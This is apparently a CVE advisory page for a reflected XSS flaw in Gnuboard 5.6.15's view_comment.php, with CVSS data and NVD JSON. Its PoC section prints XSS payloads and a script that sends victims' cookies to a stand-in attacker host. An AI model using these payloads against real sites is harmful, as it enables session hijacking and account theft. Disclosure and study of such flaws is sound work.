Security Vulnerability Report
中文
CVE-2025-60859 CVSS 6.1 MEDIUM

CVE-2025-60859

Published: 2025-10-23 19:15:51
Last Modified: 2025-10-28 02:36:13

Description

Cross Site Scripting (XSS) vulnerability in Gnuboard 5.6.15 allows authenticated attackers to execute arbitrary code via crafted c_id parameter in bbs/view_comment.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:sir:gnuboard:5.6.15:*:*:*:*:*:*:* - VULNERABLE
Gnuboard < 5.6.15 (受影响的版本)
Gnuboard 5.6.15 (已知受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-60859: Gnuboard XSS via c_id parameter --> <!-- This PoC demonstrates the XSS vulnerability in bbs/view_comment.php --> <!-- Attack URL - Reflected XSS via c_id parameter --> <!-- Replace TARGET_URL with the actual Gnuboard installation URL --> <!-- Example attack URL (URL encoded) --> <!-- http://target-site.com/bbs/view_comment.php?c_id=<script>alert(document.cookie)</script> --> <!-- HTML Form PoC --> <form action="http://target-site.com/bbs/view_comment.php" method="GET"> <input type="hidden" name="c_id" value="<script>alert('XSS')</script>"> <input type="submit" value="Click to exploit"> </form> <!-- JavaScript PoC for cookie stealing --> <script> // Steal victim cookies var stolenCookie = document.cookie; // Send to attacker controlled server var img = new Image(); img.src = "http://attacker-site.com/steal?cookie=" + encodeURIComponent(stolenCookie); // Alternative: Session hijacking demonstration console.log("Stolen session: " + stolenCookie); </script> <!-- Mitigation: Apply proper input validation and output encoding -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60859", "sourceIdentifier": "[email protected]", "published": "2025-10-23T19:15:50.867", "lastModified": "2025-10-28T02:36:12.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting (XSS) vulnerability in Gnuboard 5.6.15 allows authenticated attackers to execute arbitrary code via crafted c_id parameter in bbs/view_comment.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sir:gnuboard:5.6.15:*:*:*:*:*:*:*", "matchCriteriaId": "C87D6054-41F7-4B7E-ADD5-6695295254D2"}]}]}], "references": [{"url": "https://creeperkirby.notion.site/Gnboard5-5-6-15-reflected-XSS-25c4fe7db8cf80efa20fc2ebefcfe61e?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/gnuboard/gnuboard5/commit/002e43e5fb84b465357b445772c881e196e100d3", "source": "[email protected]", "tags": ["Patch"]}]}}